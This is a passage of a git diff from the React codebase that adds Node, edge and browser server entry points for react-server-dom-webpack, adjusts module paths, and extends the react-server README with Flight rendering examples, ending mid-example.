+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    webpackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+function decodeReplyFromAsyncIterable<T>(
+  iterable: AsyncIterable<[string, string | File]>,
+  webpackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const iterator: AsyncIterator<[string, string | File]> =
+    iterable[ASYNC_ITERATOR]();
+
+  const response = createResponse(
+    webpackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+
+  function progress(
+    entry:
+      | {done: false, +value: [string, string | File], ...}
+      | {done: true, +value: void, ...},
+  ) {
+    if (entry.done) {
+      close(response);
+    } else {
+      const [name, value] = entry.value;
+      if (typeof value === 'string') {
+        resolveField(response, name, value);
+      } else {
+        resolveFile(response, name, value);
+      }
+      iterator.next().then(progress, error);
+    }
+  }
+  function error(reason: Error) {
+    reportGlobalError(response, reason);
+    if (typeof (iterator: any).throw === 'function') {
+      // The iterator protocol doesn't necessarily include this but a generator do.
+      // $FlowFixMe should be able to pass mixed
+      iterator.throw(reason).then(error, error);
+    }
+  }
+
+  iterator.next().then(progress, error);
+
+  return getRoot(response);
+}
+
+export {
+  renderToReadableStream,
+  prerender,
+  decodeReply,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+};
diff --git a/packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js b/packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js
new file mode 100644
index 000000000000..e710eafd00a1
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js
@@ -0,0 +1,715 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {Destination} from 'react-server/src/ReactServerStreamConfigNode';
+import type {ClientManifest} from './ReactFlightServerConfigWebpackBundler';
+import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
+import type {Busboy} from 'busboy';
+import type {Writable} from 'stream';
+import type {Thenable} from 'shared/ReactTypes';
+
+import type {Duplex} from 'stream';
+
+import {Readable} from 'stream';
+
+import {ASYNC_ITERATOR} from 'shared/ReactSymbols';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  reportGlobalError,
+  close,
+  resolveField,
+  resolveFile,
+  resolveFileInfo,
+  resolveFileChunk,
+  resolveFileComplete,
+  getRoot,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction,
+  decodeFormState,
+} from 'react-server/src/ReactFlightActionServer';
+
+export {
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+} from '../ReactFlightWebpackReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigNode';
+
+import {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+function createDrainHandler(destination: Destination, request: Request) {
+  return () => startFlowing(request, destination);
+}
+
+function createCancelHandler(request: Request, reason: string) {
+  return () => {
+    stopFlowing(request);
+    abort(request, new Error(reason));
+  };
+}
+
+function startReadingFromDebugChannelReadable(
+  request: Request,
+  stream: Readable | WebSocket,
+): void {
+  const stringDecoder = createStringDecoder();
+  let lastWasPartial = false;
+  let stringBuffer = '';
+  function onData(chunk: string | Uint8Array) {
+    if (typeof chunk === 'string') {
+      if (lastWasPartial) {
+        stringBuffer += readFinalStringChunk(stringDecoder, new Uint8Array(0));
+        lastWasPartial = false;
+      }
+      stringBuffer += chunk;
+    } else {
+      const buffer: Uint8Array = (chunk: any);
+      stringBuffer += readPartialStringChunk(stringDecoder, buffer);
+      lastWasPartial = true;
+    }
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+  }
+  function onError(error: mixed) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: error,
+      }),
+    );
+  }
+  function onClose() {
+    closeDebugChannel(request);
+  }
+  if (
+    // $FlowFixMe[method-unbinding]
+    typeof stream.addEventListener === 'function' &&
+    // $FlowFixMe[method-unbinding]
+    typeof stream.binaryType === 'string'
+  ) {
+    const ws: WebSocket = (stream: any);
+    ws.binaryType = 'arraybuffer';
+    ws.addEventListener('message', event => {
+      // $FlowFixMe
+      onData(event.data);
+    });
+    ws.addEventListener('error', event => {
+      // $FlowFixMe
+      onError(event.error);
+    });
+    ws.addEventListener('close', onClose);
+  } else {
+    const readable: Readable = (stream: any);
+    readable.on('data', onData);
+    readable.on('error', onError);
+    readable.on('end', onClose);
+  }
+}
+
+type Options = {
+  debugChannel?: Readable | Writable | Duplex | WebSocket,
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  onError?: (error: mixed) => void,
+  identifierPrefix?: string,
+  temporaryReferences?: TemporaryReferenceSet,
+  startTime?: number,
+};
+
+type PipeableStream = {
+  abort(reason: mixed): void,
+  pipe<T: Writable>(destination: T): T,
+};
+
+function renderToPipeableStream(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: Options,
+): PipeableStream {
+  const debugChannel = __DEV__ && options ? options.debugChannel : undefined;
+  const debugChannelReadable: void | Readable | WebSocket =
+    __DEV__ &&
+    debugChannel !== undefined &&
+    // $FlowFixMe[method-unbinding]
+    (typeof debugChannel.read === 'function' ||
+      typeof debugChannel.readyState === 'number')
+      ? (debugChannel: any)
+      : undefined;
+  const debugChannelWritable: void | Writable =
+    __DEV__ && debugChannel !== undefined
+      ? // $FlowFixMe[method-unbinding]
+        typeof debugChannel.write === 'function'
+        ? (debugChannel: any)
+        : // $FlowFixMe[method-unbinding]
+          typeof debugChannel.send === 'function'
+          ? createFakeWritableFromWebSocket((debugChannel: any))
+          : undefined
+      : undefined;
+  const request = createRequest(
+    model,
+    webpackMap,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  let hasStartedFlowing = false;
+  startWork(request);
+  if (debugChannelWritable !== undefined) {
+    startFlowingDebug(request, debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadable(request, debugChannelReadable);
+  }
+  return {
+    pipe<T: Writable>(destination: T): T {
+      if (hasStartedFlowing) {
+        throw new Error(
+          'React currently only supports piping to one writable stream.',
+        );
+      }
+      hasStartedFlowing = true;
+      startFlowing(request, destination);
+      destination.on('drain', createDrainHandler(destination, request));
+      destination.on(
+        'error',
+        createCancelHandler(
+          request,
+          'The destination stream errored while writing data.',
+        ),
+      );
+      // We don't close until the debug channel closes.
+      if (!__DEV__ || debugChannelReadable === undefined) {
+        destination.on(
+          'close',
+          createCancelHandler(request, 'The destination stream closed early.'),
+        );
+      }
+      return destination;
+    },
+    abort(reason: mixed) {
+      abort(request, reason);
+    },
+  };
+}
+
+function createFakeWritableFromWebSocket(webSocket: WebSocket): Writable {
+  return ({
+    write(chunk: string | Uint8Array) {
+      webSocket.send((chunk: any));
+      return true;
+    },
+    end() {
+      webSocket.close();
+    },
+    destroy(reason) {
+      if (typeof reason === 'object' && reason !== null) {
+        reason = reason.message;
+      }
+      if (typeof reason === 'string') {
+        webSocket.close(1011, reason);
+      } else {
+        webSocket.close(1011);
+      }
+    },
+  }: any);
+}
+
+function createFakeWritableFromReadableStreamController(
+  controller: ReadableStreamController,
+): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      if (typeof chunk === 'string') {
+        chunk = textEncoder.encode(chunk);
+      }
+      controller.enqueue(chunk);
+      // in web streams there is no backpressure so we can always write more
+      return true;
+    },
+    end() {
+      controller.close();
+    },
+    destroy(error) {
+      // $FlowFixMe[method-unbinding]
+      if (typeof controller.error === 'function') {
+        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.
+        controller.error(error);
+      } else {
+        controller.close();
+      }
+    },
+  }: any);
+}
+
+function startReadingFromDebugChannelReadableStream(
+  request: Request,
+  stream: ReadableStream,
+): void {
+  const reader = stream.getReader();
+  const stringDecoder = createStringDecoder();
+  let stringBuffer = '';
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    const buffer: Uint8Array = (value: any);
+    stringBuffer += done
+      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))
+      : readPartialStringChunk(stringDecoder, buffer);
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+    if (done) {
+      closeDebugChannel(request);
+      return;
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: e,
+      }),
+    );
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function renderToReadableStream(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: Omit<Options, 'debugChannel'> & {
+    debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},
+    signal?: AbortSignal,
+  },
+): ReadableStream {
+  const debugChannelReadable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.readable
+      : undefined;
+  const debugChannelWritable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.writable
+      : undefined;
+  const request = createRequest(
+    model,
+    webpackMap,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  if (options && options.signal) {
+    const signal = options.signal;
+    if (signal.aborted) {
+      abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (debugChannelWritable !== undefined) {
+    let debugWritable: Writable;
+    const debugStream = new ReadableStream(
+      {
+        type: 'bytes',
+        start: (controller): ?Promise<void> => {
+          debugWritable =
+            createFakeWritableFromReadableStreamController(controller);
+        },
+        pull: (controller): ?Promise<void> => {
+          startFlowingDebug(request, debugWritable);
+        },
+      },
+      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+      {highWaterMark: 0},
+    );
+    debugStream.pipeTo(debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);
+  }
+  let writable: Writable;
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        writable = createFakeWritableFromReadableStreamController(controller);
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, writable);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+function createFakeWritableFromNodeReadable(readable: any): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      return readable.push(chunk);
+    },
+    end() {
+      readable.push(null);
+    },
+    destroy(error) {
+      readable.destroy(error);
+    },
+  }: any);
+}
+
+type PrerenderOptions = {
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  onError?: (error: mixed) => void,
+  identifierPrefix?: string,
+  temporaryReferences?: TemporaryReferenceSet,
+  signal?: AbortSignal,
+  startTime?: number,
+};
+
+type StaticResult = {
+  prelude: Readable,
+};
+
+function prerenderToNodeStream(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: PrerenderOptions,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const readable: Readable = new Readable({
+        read() {
+          startFlowing(request, writable);
+        },
+      });
+      const writable = createFakeWritableFromNodeReadable(readable);
+      resolve({prelude: readable});
+    }
+
+    const request = createPrerenderRequest(
+      model,
+      webpackMap,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function prerender(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: Options & {
+    signal?: AbortSignal,
+  },
+): Promise<{
+  prelude: ReadableStream,
+}> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      let writable: Writable;
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          start: (controller): ?Promise<void> => {
+            writable =
+              createFakeWritableFromReadableStreamController(controller);
+          },
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, writable);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      webpackMap,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function decodeReplyFromBusboy<T>(
+  busboyStream: Busboy,
+  webpackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const response = createResponse(
+    webpackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+  let pendingFiles = 0;
+  const queuedFields: Array<string> = [];
+  busboyStream.on('field', (name, value) => {
+    if (pendingFiles > 0) {
+      // Because the 'end' event fires two microtasks after the next 'field'
+      // we would resolve files and fields out of order. To handle this properly
+      // we queue any fields we receive until the previous file is done.
+      queuedFields.push(name, value);
+    } else {
+      try {
+        resolveField(response, name, value);
+      } catch (error) {
+        busboyStream.destroy(error);
+      }
+    }
+  });
+  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {
+    if (encoding.toLowerCase() === 'base64') {
+      busboyStream.destroy(
+        new Error(
+          "React doesn't accept base64 encoded file uploads because we don't expect " +
+            "form data passed from a browser to ever encode data that way. If that's " +
+            'the wrong assumption, we can easily fix it.',
+        ),
+      );
+      return;
+    }
+    pendingFiles++;
+    const file = resolveFileInfo(response, name, filename, mimeType);
+    value.on('data', chunk => {
+      resolveFileChunk(response, file, chunk);
+    });
+    value.on('end', () => {
+      try {
+        resolveFileComplete(response, name, file);
+        pendingFiles--;
+        if (pendingFiles === 0) {
+          // Release any queued fields
+          for (let i = 0; i < queuedFields.length; i += 2) {
+            resolveField(response, queuedFields[i], queuedFields[i + 1]);
+          }
+          queuedFields.length = 0;
+        }
+      } catch (error) {
+        busboyStream.destroy(error);
+      }
+    });
+  });
+  busboyStream.on('finish', () => {
+    close(response);
+  });
+  busboyStream.on('error', err => {
+    reportGlobalError(
+      response,
+      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible
+      err,
+    );
+  });
+  return getRoot(response);
+}
+
+function decodeReply<T>(
+  body: string | FormData,
+  webpackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    webpackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+function decodeReplyFromAsyncIterable<T>(
+  iterable: AsyncIterable<[string, string | File]>,
+  webpackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const iterator: AsyncIterator<[string, string | File]> =
+    iterable[ASYNC_ITERATOR]();
+
+  const response = createResponse(
+    webpackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+
+  function progress(
+    entry:
+      | {done: false, +value: [string, string | File], ...}
+      | {done: true, +value: void, ...},
+  ) {
+    if (entry.done) {
+      close(response);
+    } else {
+      const [name, value] = entry.value;
+      if (typeof value === 'string') {
+        resolveField(response, name, value);
+      } else {
+        resolveFile(response, name, value);
+      }
+      iterator.next().then(progress, error);
+    }
+  }
+  function error(reason: Error) {
+    reportGlobalError(response, reason);
+    if (typeof (iterator: any).throw === 'function') {
+      // The iterator protocol doesn't necessarily include this but a generator do.
+      // $FlowFixMe should be able to pass mixed
+      iterator.throw(reason).then(error, error);
+    }
+  }
+
+  iterator.next().then(progress, error);
+
+  return getRoot(response);
+}
+
+export {
+  renderToReadableStream,
+  renderToPipeableStream,
+  prerender,
+  prerenderToNodeStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+};
diff --git a/packages/react-server-dom-webpack/src/ReactFlightServerConfigWebpackBundler.js b/packages/react-server-dom-webpack/src/server/ReactFlightServerConfigWebpackBundler.js
similarity index 78%
rename from packages/react-server-dom-webpack/src/ReactFlightServerConfigWebpackBundler.js
rename to packages/react-server-dom-webpack/src/server/ReactFlightServerConfigWebpackBundler.js
index 49c17b168b96..f9d9bf4ea916 100644
--- a/packages/react-server-dom-webpack/src/ReactFlightServerConfigWebpackBundler.js
+++ b/packages/react-server-dom-webpack/src/server/ReactFlightServerConfigWebpackBundler.js
@@ -11,12 +11,12 @@ import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
 import type {
   ImportMetadata,
   ImportManifestEntry,
-} from './shared/ReactFlightImportMetadata';
+} from '../shared/ReactFlightImportMetadata';
 
 import type {
   ClientReference,
   ServerReference,
-} from './ReactFlightWebpackReferences';
+} from '../ReactFlightWebpackReferences';
 
 export type {ClientReference, ServerReference};
 
@@ -34,7 +34,7 @@ export type ClientReferenceKey = string;
 export {
   isClientReference,
   isServerReference,
-} from './ReactFlightWebpackReferences';
+} from '../ReactFlightWebpackReferences';
 
 export function getClientReferenceKey(
   reference: ClientReference<any>,
@@ -71,7 +71,15 @@ export function resolveClientReferenceMetadata<T>(
       );
     }
   }
-  if (clientReference.$$async === true) {
+  if (resolvedModuleData.async === true && clientReference.$$async === true) {
+    throw new Error(
+      'The module "' +
+        modulePath +
+        '" is marked as an async ESM module but was loaded as a CJS proxy. ' +
+        'This is probably a bug in the React Server Components bundler.',
+    );
+  }
+  if (resolvedModuleData.async === true || clientReference.$$async === true) {
     return [resolvedModuleData.id, resolvedModuleData.chunks, name, 1];
   } else {
     return [resolvedModuleData.id, resolvedModuleData.chunks, name];
@@ -91,3 +99,10 @@ export function getServerReferenceBoundArguments<T>(
 ): null | Array<ReactClientValue> {
   return serverReference.$$bound;
 }
+
+export function getServerReferenceLocation<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): void | Error {
+  return serverReference.$$location;
+}
diff --git a/packages/react-server-dom-webpack/src/server/react-flight-dom-server.browser.js b/packages/react-server-dom-webpack/src/server/react-flight-dom-server.browser.js
new file mode 100644
index 000000000000..d8373ec551bc
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/server/react-flight-dom-server.browser.js
@@ -0,0 +1,20 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  prerender,
+  decodeReply,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './ReactFlightDOMServerBrowser';
diff --git a/packages/react-server-dom-webpack/src/server/react-flight-dom-server.edge.js b/packages/react-server-dom-webpack/src/server/react-flight-dom-server.edge.js
new file mode 100644
index 000000000000..e103ff761913
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/server/react-flight-dom-server.edge.js
@@ -0,0 +1,21 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  prerender,
+  decodeReply,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './ReactFlightDOMServerEdge';
diff --git a/packages/react-server-dom-webpack/src/server/react-flight-dom-server.node.js b/packages/react-server-dom-webpack/src/server/react-flight-dom-server.node.js
new file mode 100644
index 000000000000..3c2b9e512c7c
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/server/react-flight-dom-server.node.js
@@ -0,0 +1,24 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  renderToPipeableStream,
+  prerender,
+  prerenderToNodeStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './ReactFlightDOMServerNode';
diff --git a/packages/react-server-dom-webpack/src/shared/ReactFlightImportMetadata.js b/packages/react-server-dom-webpack/src/shared/ReactFlightImportMetadata.js
index 08aafaf00c60..29b012f60520 100644
--- a/packages/react-server-dom-webpack/src/shared/ReactFlightImportMetadata.js
+++ b/packages/react-server-dom-webpack/src/shared/ReactFlightImportMetadata.js
@@ -12,6 +12,7 @@ export type ImportManifestEntry = {
   // chunks is a double indexed array of chunkId / chunkFilename pairs
   chunks: Array<string>,
   name: string,
+  async?: boolean,
 };
 
 // This is the parsed shape of the wire format which is why it is
diff --git a/packages/react-server-dom-webpack/static.browser.js b/packages/react-server-dom-webpack/static.browser.js
new file mode 100644
index 000000000000..258978916320
--- /dev/null
+++ b/packages/react-server-dom-webpack/static.browser.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {prerender} from './src/server/react-flight-dom-server.browser';
diff --git a/packages/react-server-dom-webpack/static.edge.js b/packages/react-server-dom-webpack/static.edge.js
new file mode 100644
index 000000000000..a39d54c73f57
--- /dev/null
+++ b/packages/react-server-dom-webpack/static.edge.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {prerender} from './src/server/react-flight-dom-server.edge';
diff --git a/packages/react-server-dom-webpack/static.js b/packages/react-server-dom-webpack/static.js
new file mode 100644
index 000000000000..83d8b8a017ff
--- /dev/null
+++ b/packages/react-server-dom-webpack/static.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+throw new Error(
+  'The React Server cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.',
+);
diff --git a/packages/react-server-dom-webpack/static.node.js b/packages/react-server-dom-webpack/static.node.js
new file mode 100644
index 000000000000..78e70a1cf4c2
--- /dev/null
+++ b/packages/react-server-dom-webpack/static.node.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  prerender,
+  prerenderToNodeStream,
+} from './src/server/react-flight-dom-server.node';
diff --git a/packages/react-server/README.md b/packages/react-server/README.md
index 2e5808da7581..e88807a267f4 100644
--- a/packages/react-server/README.md
+++ b/packages/react-server/README.md
@@ -5,3 +5,249 @@ This is an experimental package for creating custom React streaming server rende
 **Its API is not as stable as that of React, React Native, or React DOM, and does not follow the common versioning scheme.**
 
 **Use it at your own risk.**
+
+## Usage
+
+`react-server` is a package implementing various Server Rendering capabilities. The two implementation are codenamed `Fizz` and `Flight`.
+
+`Fizz` is a renderer for Server Side Rendering React. The same code that runs in the client (browser or native) is run on the server to produce an initial view to send to the client before it has to download and run React and all the user code to produce that view on the client.
+
+`Flight` is a renderer for React Server Components. These are components that never run on a client. The output of a React Server Component render can be a React tree that can run on the client or be SSR'd using `Fizz`.
+
+## `Fizz` Usage
+
+This part of the Readme is not fully developed yet
+
+## `Flight` Usage
+
+To use `react-server` for React Server Components you must set up an implementation package alongside `react-client`. Use an existing implementation such as `react-server-dom-webpack` as a guide.
+
+You might implement a render function like
+
+```js
+import {
+  createRequest,
+  startWork,
+  startFlowing,
+  stopFlowing,
+  abort,
+} from 'react-server/src/ReactFlightServer'
+
+function render(
+  model: ReactClientValue,
+  clientManifest: ClientManifest,
+  options?: Options,
+): ReadableStream {
+  const request = createRequest(
+    model,
+    clientManifest,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+  );
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, controller);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+```
+
+### `Flight` Rendering
+
+`react-server` implements the React Server Components rendering implementation. React Server Components is in essence a general purpose serialization and deserialization capability with support for some built-in React primitives such as Suspense and Lazy.
+
+The renderable type is a superset of `structuredClone()`. In addition to all the cloneable types `react-server` can render Symbols, Promises, Iterators and Iterables, async Iterators and Iterables.
+
+Here are some examples of what can be rendered
+```js
+// primitives
+createResponse(123, ...)
+
+// objects and Arrays
+createResponse({ messages: ['hello', 'react'] }, ...)
+
+// Maps, Sets, and more
+createResponse({ m: Map(['k', 'v'])}, ...)
+```
+
+Additionally React built ins can be rendered including Function Components
+
+Function Component are called and the return value can be any renderable type. Since `react-server` supports Promises, Function Components can be async functions.
+
+Here are some examples of what can be rendered
+```js
+
+async function App({ children }) {
+  return children
+}
+
+createResponse(<App ><Children /></App>, ...)
+```
+
+Finally, There are two types of references in `react-server` that can be rendered
+
+#### Client References
+When a React Server Component framework bundles an application and encounters a `"use client"` directive it must resister exported members with `"registerClientReference"` which will encode the necessary information for `Flight` to interpret the export as a reference to be loaded on the client rather than a direct dependency on the Server module graph.
+
+When rendering a client reference `Flight` will encode necessary information in the serialized output to describe how to load the code which represents the client module.
+
+While it is common for client references to be components they can be any value.
+
+
+```js
+'use client'
+
+export function alert(message) {
+  alert(message)
+}
+```
+
+```js
+'use client'
+
+export function ClientComp({ onClick, message }) {
+  return <button onClick={onClick}>Alert</button>
+}
+```
+
+```js
+
+// client references don't have to just be components, anything can be 
+// a reference, in this case we're importing a function that will be
+// passed to the ClientComp component
+import { alert } from '...'
+import { ClientComp } from '...'
+
+async function App({ children }) {
+  return children
+}
+
+createResponse(
+  <App >
